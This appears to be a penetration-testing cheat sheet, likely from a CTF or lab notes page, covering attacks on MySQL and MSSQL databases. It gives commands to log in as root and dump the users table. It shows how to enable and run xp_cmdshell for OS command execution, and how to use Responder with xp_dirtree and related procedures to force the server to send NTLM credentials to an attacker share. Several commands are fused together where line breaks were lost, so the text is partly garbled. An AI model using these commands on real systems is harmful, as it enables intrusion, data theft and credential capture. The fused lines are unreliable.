SQL
MySQL
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'mysql -h 10.10.10.10 -u root -pshow databases; # Show all databases.
select version();
use qu35t; # Select one of the existing databases.
show tables; # Show all available tables in the selected database.
select * from users; # Show everything in the desired table.MSSQL
mssqlclient.py [email protected] -windows-authselect name from sys.databases; # List databases
select TABLE_NAME from Backup.INFORMATION_SCHEMA.TABLES; # List tables of a database
select * from Backup.dbo.Users; # Extract data from a tableenable_xp_cmdshellEXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGUREexec xp_cmdshell "whoami"responder -I tun0exec xp_dirtree "\\10.10.10.10\qu35t\"exec xp_subdirs "\\10.10.10.10\qu35t\"exec xp_fileexist "\\10.10.10.10\qu35t\"Last updated